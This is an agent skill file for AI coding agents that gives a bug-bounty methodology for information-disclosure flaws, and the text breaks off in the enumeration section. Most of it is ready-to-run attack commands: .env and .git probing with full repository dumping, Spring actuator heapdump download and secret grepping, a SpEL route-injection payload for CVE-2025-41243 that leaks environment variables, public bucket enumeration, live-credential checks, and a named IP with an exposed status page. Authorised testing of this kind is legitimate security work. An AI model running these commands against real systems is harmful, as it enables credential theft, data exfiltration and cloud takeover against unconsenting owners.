# Hunt Info Disclosure

> Crown Jewel Targets

- Skill: `h-mmer/hunt-info-disclosure` (Agent Skill)
- Install (CLI): `npx skillmds@latest add h-mmer/hunt-info-disclosure`
- Raw SKILL.md: https://api.skillmd.com/api/skills/h-mmer/hunt-info-disclosure/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Coding & Dev Tools
- Author: h-mmer (https://skillmd.com/u/h-mmer)
- Updated: 2026-09-17
- Page: https://skillmd.com/skills/h-mmer/hunt-info-disclosure

---


## Crown Jewel Targets

Information disclosure is the most-volume bug class in bug bounty (~30% of all disclosed reports across H1/Bugcrowd hacktivity), but the paying surface has shifted decisively toward **systemic credential exposure** rather than one-off PII leaks. Reflected stack traces on a 404 page are mid-three-figure or N/A on most programs; an exposed `/actuator/heapdump` containing AWS keys is mid-five-figure-class because it cascades to RCE on production cloud infrastructure. The 24-month meta crystallized around seven asset types. All CVEs below are NVD-verified.

**1. Spring Boot Actuator exposure (mid four-figure to mid five-figure when chained to cloud takeover).** Wiz Threat Research Dec 2024 analysis: **60% of cloud environments use Spring Boot Actuator, 11% expose instances publicly to the internet, 24% of exposed instances are misconfigured.** **Volkswagen 9TB GPS data disclosure** — single open `/actuator/heapdump` endpoint provided plaintext AWS keys via heap dump, attackers downloaded 9 TB of GPS data from hundreds of thousands of cars. Reference: https://www.syscrest.com/2025/02/securing-spring-boot-actuator/ (SYSCREST analysis Feb 2025), https://www.cyberkendra.com/2024/12/vulnerability-in-spring-boot-actuator.html (Wiz research summary Dec 2024). NVD-verified CVEs in the family:
- **CVE-2025-41243 Spring Cloud Gateway Server Webflux property modification (CVSS 10.0 CRITICAL)** — when actuator gateway endpoint exposed via `management.endpoints.web.exposure.include=gateway`, attackers modify Spring Environment properties remotely → potential RCE. Affects 4.3.x, 4.2.x, 4.1.x, 4.0.x, 3.1.x. Fix in 4.3.1 / 4.2.5 (OSS); 4.1.11 / 3.1.11 (Enterprise).
- **CVE-2025-41253 Spring Cloud Gateway info-disclosure (CVSS 7.5 HIGH)** — SpEL injection on actuator endpoint exposes environment variables and system properties (DB credentials, API keys, internal URLs).
- **CVE-2025-22235 Spring Boot EndpointRequest.to() wrong matcher (CVSS 7.3 HIGH)** — disabled actuator endpoint creates unprotected `/null/**` matcher path.
- **CVE-2025-8525 Exrick xboot Spring Boot Admin/Actuator info disclosure** (CVSS 5.5 MEDIUM).
- **CVE-2025-8738 zlt2000 microservices-platform actuator interface** (CVSS 5.5 MEDIUM).

The Wiz dashboard checklist for actuator endpoints: `/health` (low), `/prometheus` `/metrics` (medium), `/env` (HIGH — never expose), `/heapdump` (CRITICAL — never expose), `/beans` `/mappings` `/loggers` (high — internal/auth only), `/shutdown` (HIGH — disabled by default, never enable).

**2. `.git/` and `.env` mass exposure (mid four-figure direct + supply-chain cascades).** Two large 2024-2025 disclosures show this is industrialized:
- **Sysdig EmeraldWhale Oct 2024** — automated scanning of IP ranges for exposed `/.git/config` files. Stole **15,000 cloud credentials from 67,000 URLs** (28K Git repos, 6K GitHub tokens, 2K validated active credentials). Stored stolen secrets in 1TB S3 bucket. Reference: https://sysdig.com/blog/emeraldwhale, https://www.bleepingcomputer.com/news/security/hackers-steal-15-000-cloud-credentials-from-exposed-git-config-files/.
- **Unit42 (Palo Alto) Aug 2024** — large-scale .env extortion campaign scanned 110,000 domains, identified **90,000 unique combos of leaked env-vars including 7,000 active AWS access keys**. Targeted Mailgun-mentioning .env files for legitimate-domain phishing. Reference: https://unit42.paloaltonetworks.com/large-scale-cloud-extortion-operation.

Pattern: web servers serving Laravel, Symfony, Rails, Django apps mistakenly serve the application root including `.env` and `.git/`. Hunt with: `curl -s https://target/.env`, `curl -s https://target/.git/config`, `curl -s https://target/.git/HEAD`. Then `git-dumper https://target/.git/ /tmp/dumped` to recover the full repo.

**Disclosed bug bounty cases**: NASA `_x3ro_` Bugcrowd disclosure (Aug 2025, P3) — publicly accessible `.env` on NASA Bitbucket exposed UAT credentials for `cmr.sit.earthdata.nasa.gov`. Reference: https://redpacketsecurity.com/bugcrowd-bugbounty-disclosure-publicly-accessible-env-file-exposing-hardcoded-credentials-on-nasa-s-git-repository.

**3. Source-code repository secret leakage (CWE-798, low five-figure on triage-friendly programs).** **GitGuardian 2026 State of Secrets Sprawl**: 28.65M new hardcoded secrets added to public GitHub repos in 2025 (34% YoY increase). **GitHub's own 2024 secret-scanning report**: 39M secret leaks. **IEEE S&P 2025 academic study**: up to 30% of projects at risk. **Starbucks H1 #716292 (2019, Cremit reference)** — single leaked JumpCloud API key in public GitHub repo, classified CWE-798, **CVSS 9.7 critical**, paid bounty — proof that bug bounty programs CAN treat credential exposure as paying class. Reference: https://www.cremit.io/blog/out-of-scope-loophole-credential-exposure (Apr 2026 Cremit research on this exact pattern).

Hunt with **TruffleHog** (https://github.com/trufflesecurity/trufflehog, 26K+ stars, 800+ detectors, **active credential verification** against provider APIs to confirm still-live keys). Same pattern via **GitGuardian**, **Snyk Code SAST**, **GitHub Secret Scanning**. Caveat from Cremit Apr 2026 analysis: **most bug bounty programs still classify credential exposure as out-of-scope** — check program scope before reporting; many specifically EXCLUDE this finding class.

**4. Cloud-bucket misconfig (S3, GCS, Azure Blob — mid four-figure when PII counted; informational P5 when generic).** **ESHYFT March 2025** — 108GB / 86,341 healthcare-worker records (medical IDs, drivers licenses, SSNs, prescription records, disability claims) in unsecured S3 bucket; researcher Jeremiah Fowler discovered, took >1 month for org to close. Reference: https://www.theregister.com/2025/03/11/uber_for_nurses_exposes_86k/. **NASA Bugcrowd disclosure Feb 2025** — PDF in public S3 bucket (P5 informational only — NASA's VDP triages cloud-bucket findings strictly). Reference: https://bugcrowd.com/disclosures/aa45924f-8b67-4f22-8dff-dac7dc9d60e2/exposure-of-pdf-file-in-a-public-amazon-s3-bucket-associated-with-nasa.

Hunt with **`s3scanner`**, **`AWSBucketDump`**, subdomain enumeration → `<name>.s3.amazonaws.com`, `<name>.blob.core.windows.net`, `<name>.storage.googleapis.com`. The Wiz Cloud Security Index annual report tracks the most-common misconfig classes.

**5. Debug endpoint family (Spring actuator, Go pprof, Glances, FUXA, NetBird, Harbor — low four-figure to low five-figure depending on what's exposed).** All NVD-verified or GHSA-verified, all 2025-2026:
- **Dgraph `/debug/pprof/cmdline` (GHSA-95mq-xwj4-r47p)** — unauthenticated debug endpoint exposes full process command line including admin token from `--security "token=..."`. Critical.
- **Glances `/api/4/serverslist` (GHSA-r297-p3v4-wp8m, GHSA-gfc2-9qmw-w7vh)** — Central Browser mode REST API returns raw server objects with reusable downstream credentials; permissive CORS allows any origin.
- **FUXA plaintext DB credentials (GHSA-c5gq-4h56-4mmx)** — unauthenticated remote attacker retrieves administrative database credentials.
- **Harbor default password (GHSA-hj7x-hmf2-hc2p)** — GoHarbor v2.15.0 and below allows default password for web UI login.
- **NetBird VPN (GHSA-g3j4-58mp-3x25)** — installation script fails to remove ZITADEL-created default admin password.
- **MinIO LDAP brute-force (GHSA-jv87-32hw-hh99)** — `AssumeRoleWithLDAPIdentity` STS endpoint vulnerable to brute-forcing due to user enumeration + missing rate limit.
- **PraisonAI WebSocket Gateway (GHSA-cfh6-vr3j-qc3g)** — `/ws` and `/info` endpoints serve agent topology with no auth; any network client can connect, enumerate registered agents.
- **Gradio ACL bypass (GHSA-j2jg-fq62-7c3h)** — file path ACL bypassed via case alteration; lack of case normalization.
- **Rancher cluster template credentials in answers** — credentials not properly sanitized.
- **ArgoCD Redis cache risky/missing crypto** — credentials cached without proper encryption.
- **`/server-status`** Apache mod_status endpoint — H1 report 2473173 (2026 High) — exposed at `https://203.137.128.240/server-status` leaks request URLs, IPs, vhosts.

**6. PII exposure via API misconfiguration (CVSS-Confidentiality-only, low four-figure to low five-figure depending on record count).** Recent disclosed examples:
- **ASBS soldiers PII** (H1 2026 critical) — viewing other soldiers' Personnel Information / Board / Board Voters via the Army Body Score System.
- **`/talos/api/v1/files/upload` Critical Information Disclosure** (H1 report 3228011, 2025 critical).
- **IBM Aspera HTTP Gateway** (H1 report 3340797, 2026 high) — sensitive information stored in clear text in easily obtainable files.
- **ORDER_ERROR_LOG PII Data Exposure** (H1 2026 high) — error-log endpoint returns PII for any order ID.
- **Session Cookie Leakage via Static Header Field in WebViewerFragment** (H1 2026 high) — mobile WebView leaks session via static header.

Hunt: every API endpoint that returns user data, every error/log endpoint, every export feature, every `/me` and `/users/{id}` route.

**7. WordPress wp-config.php exposure (mid three-figure to mid four-figure; reliable VDP filler).** Multiple H1 reports 2026: report 3328408 (National Guard website), report 3252302. Pattern: `.bak`, `.old`, `~`, `.swp` backup files served alongside `wp-config.php` containing DB credentials. Hunt with: `curl https://target/wp-config.php{,.bak,.old,~,.swp}`. The BackupFinder ffuf wordlist covers the common variants.

**Memory disclosure (Heartbleed-class, when found pays mid five-figure).** **Dgraph `/debug/pprof/cmdline`** above. **`.NET Framework ObjRefs Disclosure (CVE-2024-29059)`** — H1 2026 high — .NET Remoting ObjRefs reveal internal endpoints. Modern memory-disclosure findings rare but high-impact when chained.

**Mobile / game / IoT disclosure** — **ASLR leak in Mario Kart World through LAN mode** (H1 2026 high). Mobile-app reverse-engineering finds API keys, internal URLs in compiled binaries. Game-engine memory disclosure via LAN/multiplayer protocols.

**What pays the most:** Spring actuator heapdump → cloud takeover (mid five-figure when chained — Volkswagen-class). Source-code repo with active AWS keys (low five-figure on programs that accept the class — Starbucks H1 #716292 precedent). Mass-PII via API misconfig (mid four-figure × record-count multiplier on healthcare/financial). `.env` exposure with active credentials (low four-figure direct + chain to AWS infrastructure for upgrade). `.git/` exposure (low four-figure direct + recover full repo + extract secrets). Generic stack trace, version banners, README leak — N/A on most programs.

## Attack Surface Signals

Greppable signals that this surface might exist:

```bash
# Spring Boot Actuator endpoints (CVE-2025-41243 family + Volkswagen pattern)
rg -n -e 'management\.endpoints\.web\.exposure\.include' \
   -e 'spring-boot-starter-actuator' \
   -g 'application*.{yml,yaml,properties}' -g '*.gradle' -g 'pom.xml'

# Spring actuator endpoints exposed in code
rg -n -e '@Endpoint' -e '@WebEndpoint' -e '@ReadOperation' --type java

# Hardcoded secrets / credentials in source
rg -n -e 'AKIA[0-9A-Z]{16}' \
   -e 'AIza[0-9A-Za-z_-]{35}' \
   -e 'sk_live_[0-9a-zA-Z]{24,}' \
   -e 'ghp_[0-9a-zA-Z]{36}' \
   -e 'github_pat_[0-9a-zA-Z]{82}' \
   -e 'xox[bpoa]-[0-9]{12}-[0-9]{12}-[0-9a-zA-Z]{24}' \
   -e 'eyJhbGciO[A-Za-z0-9_-]+\.[A-Za-z0-9_-]+\.[A-Za-z0-9_-]+' \
   -g '!*.lock' -g '!node_modules' -g '!vendor'

# Database connection strings
rg -n -i -e 'jdbc:(?:mysql|postgresql|mariadb|oracle|mssql)://[^"\s]*:[^@\s]+@' \
   -e 'mongodb(\+srv)?://[^"\s]*:[^@\s]+@' \
   -e 'redis://[^"\s]*:[^@\s]+@' \
   -e 'amqp://[^"\s]*:[^@\s]+@'

# .env file references in code (suggest .env exists in deploy)
rg -n -e 'process\.env\.\w+' -e 'os\.environ\[' -e 'env\('?\w+'?\)' \
   --type js --type ts --type py --type php

# Debug / pprof endpoints in Go code
rg -n -e 'net/http/pprof' -e '"/debug/pprof"' -e '_pprof' --type go

# Verbose error / debug mode in framework configs
rg -n -i -e 'debug\s*=\s*true' -e 'app_debug=true' \
   -e 'DEBUG\s*:\s*True' -e 'DJANGO_DEBUG=True' \
   -g '*.{yml,yaml,toml,ini,env,properties}'

# Stack-trace exposure in error handlers (Express/Flask)
rg -n -e 'app\.use\(function\(err' -e 'errorhandler\(' \
   -e '@app\.errorhandler' -e 'send.*error\.stack' \
   --type js --type ts --type py
```

HTTP-level signals on a live target:

- `Server: Tomcat`, `X-Application-Context:`, `Server: Jetty` + `/actuator/health` returns 200 → **Spring Boot Actuator surface** (probe `/actuator/heapdump`, `/actuator/env`, `/actuator/beans`)
- `Server: Apache` + Apache `mod_status` enabled → **`/server-status` info disclosure** (H1 report 2473173, 2026 High)
- `X-Powered-By: PHP/X.Y.Z` + `phpinfo()` reachable at common paths → **CVE-class info disclosure**
- `X-Powered-By: ASP.NET`, `.NET Remoting` enabled → **CVE-2024-29059 .NET Framework ObjRefs disclosure** family
- Subdomain returns Laravel default page → probe `https://target/.env` directly
- Any 200 OK on `https://target/.git/HEAD` or `https://target/.git/config` → **`.git/` exposure** (Sysdig EmeraldWhale class)
- `Vary: Accept-Encoding` + `text/html` response on `https://target/wp-config.php{,.bak,.old,~}` → **WordPress wp-config exposure** (H1 reports 3328408, 3252302, 2026 High)
- Open `<bucket>.s3.amazonaws.com`, `<bucket>.blob.core.windows.net`, `<storage>.googleapis.com` returns XML directory listing → **S3 / Azure / GCS bucket misconfig** (ESHYFT-class)
- `/api/v1/info`, `/api/4/serverslist`, `/info`, `/version`, `/build-info` returning verbose data → **Glances-class** (GHSA-r297-p3v4-wp8m)
- `/debug/pprof/cmdline` returns process command line including secrets → **Dgraph-class** (GHSA-95mq-xwj4-r47p)
- Login page returning different responses for valid vs invalid usernames → **user enumeration** surface (MinIO GHSA-jv87-32hw-hh99 LDAP variant)
- `/swagger.json`, `/api-docs`, `/openapi.json`, `/.well-known/openapi` exposed in production → **API documentation exposure**
- 500 error response includes full stack trace, file paths, framework version → **stack-trace info disclosure**
- `WWW-Authenticate: Basic realm="..."` exposing internal app names → **internal hostname disclosure**
- `Set-Cookie: <SESSION>=<value>; Domain=.target.com; Path=/` (no `Secure`, no `HttpOnly`) → **session-cookie leakage surface**

## Insertion Point Taxonomy

Every place sensitive content leaks for info-disclosure:

- **Source-code repos** (.git/.svn/.hg directories served by web server, public GitHub repos with embedded secrets, leaked private repo via dependency) — Sysdig EmeraldWhale 2024
- **Configuration files** (.env, wp-config.php, web.config, application.properties, settings.py, config.json) — Unit42 110K-domain scan 2024
- **Backup files** (.bak, .old, ~, .swp, .swo, .DS_Store, _bak, .backup, .copy) — manual fuzzing target
- **Debug / health / actuator endpoints** (/actuator/*, /debug/pprof/*, /api/health, /api/info, /api/build-info) — Wiz Threat Research 2024
- **Error pages / stack traces** (any 500 / 404 / unhandled exception) — framework-version + path disclosure
- **Server-status / management consoles** (/server-status, /server-info, /jenkins/script, /actuator/*) — multiple H1 2026 reports
- **Cloud storage buckets** (S3, GCS, Azure Blob, OSS, R2 — by name guessing or subdomain enum) — ESHYFT-class
- **API responses with verbose fields** (`/users/{id}` returning password_hash, internal_notes, role, tokens) — over-fetching pattern
- **Background-job logs** (Sidekiq, Celery, BullMQ admin UI exposing job arguments) — credential leakage in job params
- **Browser-side: JS bundles, Service Workers, source maps** (`.map` files, `__webpack_require__` exposing module names) — secrets in client-side
- **Mobile app binaries** (APK reverse-engineering, IPA Mach-O strings, embedded URLs and API keys)
- **Memory dumps** (heapdump, core dumps, profiler output, browser tab snapshots) — Volkswagen Spring actuator pattern
- **Process command lines** (/proc/PID/cmdline, /debug/pprof/cmdline, ps output) — Dgraph GHSA-95mq-xwj4-r47p
- **DNS records** (TXT records exposing internal service names, SPF records exposing service vendors, CNAME chains)
- **Headers** (Server, X-Powered-By, X-AspNet-Version, X-Framework, custom internal-name headers)
- **Email headers and bounces** (Received chains exposing internal mail server names, NDR responses leaking user existence)
- **Webhooks / callback URLs** (test webhook endpoints exposing internal service URLs in retry logs)
- **CORS preflight responses** (Access-Control-Allow-Origin reflecting attacker origin reveals trusted-origin allowlist)
- **Sitemap, robots.txt** (admin paths, dev environment URLs, staging hostnames)
- **Public-by-design APIs accidentally returning private fields** — over-fetching, GraphQL field-level (cross-references hunt-idor and hunt-xss)
- **Enumeration endpoints** — different responses for existing vs non-existing user/email/UUID enable username harvesting (MinIO LDAP GHSA-jv87-32hw-hh99 pattern)
- **Cache headers leaking auth state** (`X-Cache: HIT` / `Vary` mismatches reveal authenticated content cached publicly)

For each surface, send: `curl -sI https://target/<path>` (header inspection), `curl -s https://target/<path> | head -100` (body inspection), `curl -s -X POST -H "Content-Type: application/json" -d '{}' https://target/<endpoint>` (error elicitation), and run `nuclei -t exposures/` against the host for the canonical exposure templates.

## Step-by-Step Hunting Methodology

1. **Subdomain enumeration first.** `subfinder + amass + chaos + crt.sh` → every subdomain. Each is a candidate for `.git/`, `.env`, `/actuator/`, `/server-status`. The exposed-config attack surface scales linearly with subdomain count; legacy / dev / staging subdomains are the highest-yield targets.

2. **Run nuclei `exposures/` template set on every subdomain.** `nuclei -t http/exposures/` covers `.git/HEAD`, `.env`, `/server-status`, `/actuator/*`, `/swagger.json`, `/.well-known/`, `/phpinfo`, hundreds more. Single command, ~30 seconds per host. The H1 2026 wp-config disclosures (reports 3328408, 3252302) and `/server-status` disclosure (2473173) are all canonical nuclei-template hits.

3. **Spring Boot Actuator deep-probe.** If host responds with `Server:` containing Tomcat/Jetty/Undertow OR `X-Application-Context:` header OR `/actuator/health` returns 200 — probe the full endpoint set with priority ordering: `/actuator/heapdump` (CRITICAL — full memory dump), `/actuator/env` (HIGH — env vars), `/actuator/configprops`, `/actuator/beans`, `/actuator/threaddump`, `/actuator/mappings`, `/actuator/loggers`, `/actuator/gateway/routes` (CVE-2025-41243). For `/actuator/heapdump`, download the binary, analyze with Eclipse Memory Analyzer (MAT) or `strings | grep -E 'AKIA|AIza|sk_live|ghp_'` for secret patterns.

4. **`.env` and `.git/` direct probe on every subdomain.** `curl -s https://target/.env` and `curl -s https://target/.git/HEAD`. If 200 OK with content, run `git-dumper https://target/.git/ /tmp/dumped` to recover the entire repo. Then `trufflehog filesystem /tmp/dumped --only-verified` to extract live credentials.

5. **`wp-config.php` and backup-file fuzzing.** Use `ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-files.txt -u https://target/FUZZ -mc 200`. Append common backup extensions: `wp-config.php{,.bak,.old,~,.swp,.swo,.copy,.backup}`. The H1 2026 wp-config reports came from this exact technique against forgotten subdomains.

6. **Source-code repo secret scanning.** For OSS targets and any program with GitHub presence in scope: `trufflehog github --org=<org> --only-verified` (uses 800+ detectors with active credential validation). Cross-check with `gitleaks` on cloned repos. Reference TruffleHog: https://github.com/trufflesecurity/trufflehog. Caveat: most bug bounty programs classify credential exposure as out-of-scope; check program policy first (see Cremit Apr 2026 analysis at https://www.cremit.io/blog/out-of-scope-loophole-credential-exposure).

7. **Cloud bucket discovery.** From subdomain list, derive bucket-name candidates: `<subdomain>`, `<subdomain>-prod`, `<subdomain>-staging`, `<subdomain>-backup`, `<subdomain>-logs`, `<subdomain>-data`. Test each against `https://<name>.s3.amazonaws.com`, `https://<name>.blob.core.windows.net`, `https://storage.googleapis.com/<name>`. Use `s3scanner` or `AWSBucketDump` for automation. ESHYFT-class findings come from this exact enumeration on healthcare/financial targets.

8. **Debug endpoint family.** For Go services: `/debug/pprof/cmdline` (Dgraph GHSA-95mq-xwj4-r47p — exposes admin token in process args). For Spring: actuator family above. For Glances/Prometheus/Grafana monitoring: `/api/4/serverslist` (GHSA-r297-p3v4-wp8m), `/metrics`, `/prometheus`, `/dashboards/api/`. For Kubernetes: `/healthz/secret`, `/api/v1/secrets` against kubelet anonymous-auth misconfigs.

9. **API over-fetching audit.** For every authenticated API endpoint, request the data and inspect response. Look for fields that shouldn't be there: `password_hash`, `password_salt`, `tokens[]`, `api_keys[]`, `internal_notes`, `admin_comments`, `kyc_documents`, `mfa_secrets`, `recovery_codes`. The over-fetch pattern is mid four-figure on most programs.

10. **User / email enumeration.** Compare login response (timing, body, status) for known-existing vs non-existing username. Same for password reset, registration ("email already in use" vs "verification sent"). MinIO GHSA-jv87-32hw-hh99 (LDAP brute-force via enumeration + missing rate limit) is the canonical 2026 case. Document the timing delta or response delta.

11. **Stack trace / debug page elicitation.** Send malformed requests to every endpoint: `'`, `null`, `[]`, `{"a":}`, large bodies, missing required fields, content-type mismatches. Watch for 500 responses with full stack traces, file paths, framework versions, DB type. These are mid three-figure direct unless they reveal something materially sensitive (DB connection string, internal IP, framework + version → CVE replay candidate).

12. **Mobile app reverse engineering.** Pull APK with `apktool d <apk>` or IPA with `ipsw`. Run `strings <binary> | grep -iE '(api[_-]?key|secret|token|password|bearer|aws_access_key)'`. Inspect `assets/`, `res/raw/`, `META-INF/` for plaintext config. Mobile-app secret leaks are mid four-figure on iOS/Android program scope.

13. **Validate before reporting.** Demonstrable impact: count the records (PII), validate the credential is live (`aws sts get-caller-identity` for AWS keys; `curl https://api.github.com/user -H "Authorization: token <ghp>"` for GitHub tokens), show the exfil path. Don't dump the whole bucket — three records is enough proof. See Gate 0.

## Payload & Detection Patterns

### Sub-technique A — `.env` and config-file direct probe

```bash
# Direct .env probe
curl -s -o /dev/null -w "%{http_code}\n" https://target/.env
curl -s https://target/.env | head -50

# Common variants — try each
for path in .env .env.local .env.production .env.development \
           .env.bak .env.old .env~ .env.example .env.sample \
           env .environment app.env config.env; do
  curl -s -o /dev/null -w "%{http_code} %s\n" $path https://target/$path
done

# Laravel-specific (Unit42 Aug 2024 attack pattern)
curl -s https://target/.env | grep -E '^(APP_KEY|DB_PASSWORD|MAIL_PASSWORD|AWS_ACCESS_KEY|AWS_SECRET|MAILGUN)'

# Symfony / NextJS variants
curl -s https://target/.env.local
curl -s https://target/.next/server/.env

# WordPress wp-config (H1 2026 reports 3328408, 3252302)
for ext in '' .bak .old '~' .swp .swo .copy .backup; do
  curl -s -o /dev/null -w "%{http_code} %s\n" "wp-config.php$ext" "https://target/wp-config.php$ext"
done
```

### Sub-technique B — `.git/` directory exposure (Sysdig EmeraldWhale 2024 pattern)

```bash
# Detect exposed .git
curl -s https://target/.git/HEAD
curl -s https://target/.git/config
curl -s https://target/.git/index | head -c 100  # binary index

# Recover full repo using git-dumper
pip install git-dumper
git-dumper https://target/.git/ /tmp/dumped-target

# Inspect for secrets in commit history
cd /tmp/dumped-target
git log --all --oneline
git log --all -p -S 'AKIA' -- '*'        # find AWS keys ever committed
git log --all -p -S 'password' -- '*'    # find password mentions
git log --all -p -S 'sk_live' -- '*'     # find Stripe live keys
git log --all -p -S 'ghp_' -- '*'        # find GitHub PATs

# TruffleHog pass for systematic secret extraction (live verification)
trufflehog filesystem /tmp/dumped-target --only-verified --json > /tmp/secrets.json

# Reference: https://sysdig.com/blog/emeraldwhale (Sysdig Threat Research Oct 2024)
# 15K cloud creds stolen from 67K URLs via this exact pattern
```

### Sub-technique C — Spring Boot Actuator exploitation

```bash
# Detect actuator presence
curl -s https://target/actuator | jq .
curl -s https://target/actuator/health
# Response with "_links" object → actuator exposed

# CRITICAL endpoints — heap dump (Volkswagen pattern)
curl -s -o heapdump.bin https://target/actuator/heapdump
strings heapdump.bin | grep -E 'AKIA[0-9A-Z]{16}' | head -20  # AWS keys
strings heapdump.bin | grep -E 'AIza[0-9A-Za-z_-]{35}' | head -20  # Google API
strings heapdump.bin | grep -E 'sk_live_[0-9a-zA-Z]{24,}' | head -20  # Stripe
strings heapdump.bin | grep -E 'jdbc:[a-z]+://[^@]+@' | head -20  # DB URIs
# Or load in Eclipse Memory Analyzer (MAT) for proper analysis

# HIGH endpoints
curl -s https://target/actuator/env | jq .
curl -s https://target/actuator/configprops | jq .
curl -s https://target/actuator/beans | jq '.contexts.application.beans | keys'
curl -s https://target/actuator/threaddump
curl -s https://target/actuator/mappings
curl -s https://target/actuator/loggers

# CVE-2025-41243 Spring Cloud Gateway property modification (CVSS 10.0)
# Trigger condition: management.endpoints.web.exposure.include=gateway
curl -s https://target/actuator/gateway/routes
# If 200 with route list — vulnerable
# Exploit: POST a new route with SpEL that reads/modifies env properties
curl -X POST https://target/actuator/gateway/routes/exploit \
  -H 'Content-Type: application/json' \
  -d '{"id":"exploit","predicates":[{"name":"Path","args":{"_genkey_0":"/exploit"}}],"filters":[{"name":"AddResponseHeader","args":{"name":"X-Out","value":"#{T(java.lang.System).getenv()}"}}],"uri":"http://localhost"}'
curl -X POST https://target/actuator/gateway/refresh
curl -i https://target/exploit  # X-Out header now leaks env

# CVE-2025-41253 Spring Cloud Gateway info disclosure (CVSS 7.5)
# SpEL injection via actuator endpoint
# (Verbatim payload restricted in vendor advisory; see https://spring.io/security/cve-2025-41253)

# CVE-2025-22235 Spring Boot EndpointRequest.to wrong matcher (CVSS 7.3)
# Probe /null/** path when actuator endpoints disabled but EndpointRequest.to() used
curl -s https://target/null/

# Reference: https://www.syscrest.com/2025/02/securing-spring-boot-actuator/ (Volkswagen analysis)
# Reference: https://www.cyberkendra.com/2024/12/vulnerability-in-spring-boot-actuator.html (Wiz Dec 2024)
```

### Sub-technique D — Cloud bucket misconfig (S3/GCS/Azure)

```bash
# AWS S3 — check public listing
aws s3 ls s3://<target-bucket-name> --no-sign-request
curl -s https://<bucket-name>.s3.amazonaws.com/
# XML response with <ListBucketResult> → public listing enabled

# Get specific file (when listing disabled but read enabled)
aws s3 cp s3://<bucket>/secret.txt /dev/stdout --no-sign-request

# Discovery via subdomain enumeration (ESHYFT-class, Mar 2025)
# For each subdomain, try as bucket name
for sub in $(cat subdomains.txt); do
  for suffix in '' '-prod' '-staging' '-backup' '-logs' '-data' '-uploads'; do
    curl -s -o /dev/null -w "%{http_code} %s\n" "$sub$suffix" \
      "https://$sub$suffix.s3.amazonaws.com/"
  done
done

# Google Cloud Storage
curl -s https://storage.googleapis.com/<bucket-name>/
gsutil ls gs://<bucket-name>

# Azure Blob
curl -s "https://<account>.blob.core.windows.net/<container>?restype=container&comp=list"

# AWSBucketDump for systematic enum
git clone https://github.com/jordanpotti/AWSBucketDump
python AWSBucketDump.py -l buckets.txt -g grep_patterns.txt -D
```

### Sub-technique E — Source-code secret scanning (TruffleHog pattern)

```bash
# Scan a GitHub org for verified secrets
trufflehog github --org=target-org --only-verified --json > secrets.json

# Scan single repo with full git history
trufflehog github --repo=https://github.com/target/repo --only-verified --json

# Scan a local clone (faster)
git clone --mirror https://github.com/target/repo /tmp/repo.git
trufflehog filesystem /tmp/repo.git --only-verified

# Scan S3 bucket contents
trufflehog s3 --bucket=<bucket-name>

# Scan Docker image
trufflehog docker --image=<image-name>

# Common manual regex patterns (what TruffleHog detects with API verification)
# AWS access key
grep -rE 'AKIA[0-9A-Z]{16}' .
# AWS secret (40 chars b64-ish)
grep -rE '[A-Za-z0-9/+=]{40}' . | grep -i -E 'aws_secret|secret_key|secretAccessKey'
# Google API key
grep -rE 'AIza[0-9A-Za-z_-]{35}' .
# Slack token
grep -rE 'xox[bpoa]-[0-9]{12}-[0-9]{12}-[0-9a-zA-Z]{24}' .
# Stripe live key
grep -rE 'sk_live_[0-9a-zA-Z]{24,}' .
# GitHub Personal Access Token
grep -rE 'ghp_[0-9a-zA-Z]{36}' .
grep -rE 'github_pat_[0-9a-zA-Z]{82}' .
# JWT token
grep -rE 'eyJhbGciO[A-Za-z0-9_-]+\.[A-Za-z0-9_-]+\.[A-Za-z0-9_-]+' .
# Private key
grep -rE '-----BEGIN (RSA|EC|OPENSSH|PRIVATE) (PRIVATE )?KEY-----' .

# Validate AWS key is live (don't pivot — just confirm)
AWS_ACCESS_KEY_ID=AKIA... AWS_SECRET_ACCESS_KEY=... \
  aws sts get-caller-identity

# Validate GitHub PAT is live
curl -s https://api.github.com/user -H "Authorization: token ghp_..."

# Reference: https://github.com/trufflesecurity/trufflehog
# Reference: https://snyk.io/articles/state-of-secrets/ (28.65M secrets in 2025 per GitGuardian)
```

### Sub-technique F — Debug / pprof / management endpoint family

```bash
# Go pprof — Dgraph pattern (GHSA-95mq-xwj4-r47p, 2026 critical)
curl -s https://target/debug/pprof/
curl -s https://target/debug/pprof/cmdline   # process command line — leaks --security="token=..."
curl -s https://target/debug/pprof/goroutine?debug=2  # goroutine stacks
curl -s https://target/debug/pprof/heap > heap.bin    # heap dump
go tool pprof -text heap.bin                          # analyze

# Glances /api/4/* family (GHSA-r297-p3v4-wp8m, GHSA-gfc2-9qmw-w7vh, GHSA-7p93-6934-f4q7, 2026 critical/high)
curl -s https://target:61208/api/4/serverslist     # leaks downstream credentials
curl -s https://target:61208/api/4/all             # full system info
curl -s https://target:61208/api/4/processlist     # running processes
# CORS bypass: even from attacker origin, Access-Control-Allow-Origin: * lets attacker exfil

# FUXA plaintext DB credentials (GHSA-c5gq-4h56-4mmx, 2026 critical)
curl -s https://target/api/settings  # vulnerable endpoint returns DB creds

# MinIO LDAP brute-force via enumeration (GHSA-jv87-32hw-hh99, 2026 critical)
# AssumeRoleWithLDAPIdentity returns different errors for valid vs invalid LDAP user
curl -X POST https://minio.target/?Action=AssumeRoleWithLDAPIdentity \
  -d "LDAPUsername=alice&LDAPPassword=test&Version=2011-06-15"
# Different response code/message for "user exists, wrong password" vs "user doesn't exist"

# Apache mod_status / server-info (H1 2026 report 2473173)
curl -s https://target/server-status
curl -s https://target/server-info

# phpinfo
for path in phpinfo.php info.php php-info.php test.php phpinfo.html; do
  curl -s -o /dev/null -w "%{http_code} %s\n" $path https://target/$path
done

# Spring Boot Admin
curl -s https://target/admin/login
curl -s https://target/wallboard

# /jenkins/script — Jenkins Groovy console
curl -s https://target/jenkins/script
```

### Sub-technique G — User / email enumeration via response delta

```bash
# Login response delta (existing user vs non-existing)
curl -s -X POST https://target/api/login -d '{"email":"existing@target.com","password":"wrong"}'
# Response: "Invalid password" (HTTP 401)
curl -s -X POST https://target/api/login -d '{"email":"nonexistent@target.com","password":"wrong"}'
# Response: "Invalid email or password" (HTTP 401)
# Different messages → enumeration

# Password reset response delta
curl -s -X POST https://target/api/password-reset -d '{"email":"existing@target.com"}'
# "Verification email sent"
curl -s -X POST https://target/api/password-reset -d '{"email":"nonexistent@target.com"}'
# "User not found"
# Or both return same message — but timing differs (DB lookup vs not)

# Registration enumeration
